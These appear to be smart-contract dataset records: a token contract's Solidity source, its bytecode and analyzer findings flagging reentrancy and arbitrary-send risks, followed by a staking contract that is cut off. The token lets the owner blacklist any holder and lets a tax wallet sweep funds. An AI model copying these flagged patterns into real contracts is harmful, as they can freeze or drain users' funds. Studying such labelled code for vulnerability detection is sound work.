event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (21 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 100000000 * 10**9);
require(maxheld > 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611853565b34801561027a57600080fd5b5061028e6102893660046118cd565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b93660046118f9565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e61034436600461191b565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611972565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a37565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a54565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610845565b34801561048157600080fd5b50610214610490366004611a37565b610872565b3480156104a157600080fd5b506102be61088d565b3480156104b657600080fd5b506102be6104c5366004611a37565b61090a565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be6105553660046118f9565b610978565b34801561056657600080fd5b5061028e6105753660046118cd565b6109cb565b34801561058657600080fd5b506102be610595366004611972565b6109d8565b3480156105a657600080fd5b506102be610af1565b3480156105bb57600080fd5b506102be610b27565b3480156105d057600080fd5b50610214610ce8565b3480156105e557600080fd5b506102be6105f4366004611a7b565b610d00565b34801561060557600080fd5b50610214610614366004611a98565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610d73565b6000610661338484610f3b565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461105f565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611ae7565b9050610735853383610f3b565b506001949350505050565b600061074b30610872565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611afe565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b14565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b6000811161080957600080fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461086557600080fd5b4761086f81611520565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016108b790611b2f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461092a57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161083a565b6008546001600160a01b0316336001600160a01b03161461099857600080fd5b67016345785d8a000082116109ac57600080fd5b6702c68af0bb14000081116109c057600080fd5b600d91909155600e55565b600061066133848461105f565b6000546001600160a01b03163314610a025760405162461bcd60e51b81526004016108b790611b2f565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a3157610a31611afe565b60200260200101516001600160a01b031614158015610a82575060075482516001600160a01b0390911690839083908110610a6e57610a6e611afe565b60200260200101516001600160a01b031614155b15610adf57600160056000848481518110610a9f57610a9f611afe565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ae981611b14565b915050610a05565b6008546001600160a01b0316336001600160a01b031614610b1157600080fd5b6000610b1c30610872565b905061086f8161155a565b6000546001600160a01b03163314610b515760405162461bcd60e51b81526004016108b790611b2f565b60105460ff1615610b6157600080fd5b600754610b819030906001600160a01b0316678ac7230489e80000610f3b565b6007546001600160a01b031663f305d7194730610b9d81610872565b600080610bb26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c1a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c3f9190611b64565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbc9190611b92565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b0316610872565b6008546001600160a01b0316336001600160a01b031614610d2057600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161083a565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b81526004016108b790611b2f565b60105460ff1615610dad57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190611baf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea79190611baf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f189190611baf565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108b7565b6001600160a01b038216610ffe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108b7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110a157506001600160a01b03821660009081526005602052604090205460ff16155b80156110bd57503360009081526005602052604090205460ff16155b6110c657600080fd5b6001600160a01b03831661112a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108b7565b6001600160a01b03821661118c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108b7565b600081116111ee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108b7565b600080546001600160a01b0385811691161480159061121b57506000546001600160a01b03848116911614155b156114c1576009546001600160a01b03858116911614801561124b57506007546001600160a01b03848116911614155b801561127057506001600160a01b03831660009081526004602052604090205460ff16155b156113ac5760105460ff166112c75760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108b7565b600f544214156112f5576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561130457600080fd5b600e5461131084610872565b61131a9084611bcc565b111561132557600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff1661138d576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113c6575060105460ff165b80156113e057506009546001600160a01b03858116911614155b156114c1576113f0426015611bcc565b6001600160a01b0385166000908152600660205260409020541061141357600080fd5b600061141e30610872565b905080156114aa5760105462010000900460ff16156114a157600c5460095460649190611453906001600160a01b0316610872565b61145d9190611be4565b6114679190611c03565b8111156114a157600c546009546064919061148a906001600160a01b0316610872565b6114949190611be4565b61149e9190611c03565b90505b6114aa8161155a565b4780156114ba576114ba47611520565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061150357506001600160a01b03841660009081526004602052604090205460ff165b1561150c575060005b61151985858584866116ce565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061159e5761159e611afe565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161b9190611baf565b8160018151811061162e5761162e611afe565b6001600160a01b0392831660209182029290920101526007546116549130911684610f3b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061168d908590600090869030904290600401611c25565b600060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006116da83836116f0565b90506116e886868684611714565b505050505050565b600080831561170d5782156117085750600a5461170d565b50600b545b9392505050565b60008061172184846117f1565b6001600160a01b038816600090815260026020526040902054919350915061174a908590611ae7565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461177a908390611bcc565b6001600160a01b03861660009081526002602052604090205561179c81611825565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117e191815260200190565b60405180910390a3505050505050565b6000808060646118018587611be4565b61180b9190611c03565b905060006118198287611ae7565b96919550909350505050565b30600090815260026020526040902054611840908290611bcc565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561188057858101830151858201604001528201611864565b81811115611892576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086f57600080fd5b80356118c8816118a8565b919050565b600080604083850312156118e057600080fd5b82356118eb816118a8565b946020939093013593505050565b6000806040838503121561190c57600080fd5b50508035926020909101359150565b60008060006060848603121561193057600080fd5b833561193b816118a8565b9250602084013561194b816118a8565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561198557600080fd5b823567ffffffffffffffff8082111561199d57600080fd5b818501915085601f8301126119b157600080fd5b8135818111156119c3576119c361195c565b8060051b604051601f19603f830116810181811085821117156119e8576119e861195c565b604052918252848201925083810185019188831115611a0657600080fd5b938501935b82851015611a2b57611a1c856118bd565b84529385019392850192611a0b565b98975050505050505050565b600060208284031215611a4957600080fd5b813561170d816118a8565b600060208284031215611a6657600080fd5b5035919050565b801515811461086f57600080fd5b600060208284031215611a8d57600080fd5b813561170d81611a6d565b60008060408385031215611aab57600080fd5b8235611ab6816118a8565b91506020830135611ac6816118a8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611af957611af9611ad1565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b2857611b28611ad1565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611b7957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ba457600080fd5b815161170d81611a6d565b600060208284031215611bc157600080fd5b815161170d816118a8565b60008219821115611bdf57611bdf611ad1565b500190565b6000816000190483118215151615611bfe57611bfe611ad1565b500290565b600082611c2057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c755784516001600160a01b031683529383019391830191600101611c50565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d0c0eb1cdc8c56cfa4ab04ba04e609203826c88bf8a6104e1fe7c53df5069b3564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,061 |
0x534d7dcfbb8865371a13cf2869b680b4bd1871bf
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
function mintStakeFarmSupply(address to,uint256 _amount) external returns(uint256);
}
contract Ownable {
address payable public owner;
address payable public newOwner;
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(
address(0),
owner
);
}
modifier onlyOwner() {
require(msg.sender==owner,"only owner allowed");
_;
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "only new owner allowed");
emit OwnershipTransferred(
owner,
newOwner
);
owner = newOwner;
}
}
contract RemitStaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// remit token contract address
address public tokenAddress;
// reward rate 72.00% per year
uint public rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1.50 percent
uint public constant stakingFeeRate = 150;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// reward fee 5.00 percent
uint public constant stakeRewardFeeRate = 500;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
constructor( ) public {
tokenAddress = 0xa2fcC180fa0cbc0983F9b6948D22df733273925b;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint feeReward = pendingDivs.mul(stakeRewardFeeRate).div(1e4);
pendingDivs = pendingDivs.sub(feeReward);
uint256 mitedToken = Token(tokenAddress).mintStakeFarmSupply(address(this),feeReward.add(pendingDivs));
if(mitedToken != pendingDivs.add(feeReward)){
pendingDivs = mitedToken;
feeReward = pendingDivs.mul(stakeRewardFeeRate).div(1e4);
pendingDivs = pendingDivs.sub(feeReward);
}
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
require(Token(tokenAddress).transfer(owner, feeReward), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
stakingTime[msg.sender] = now;
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
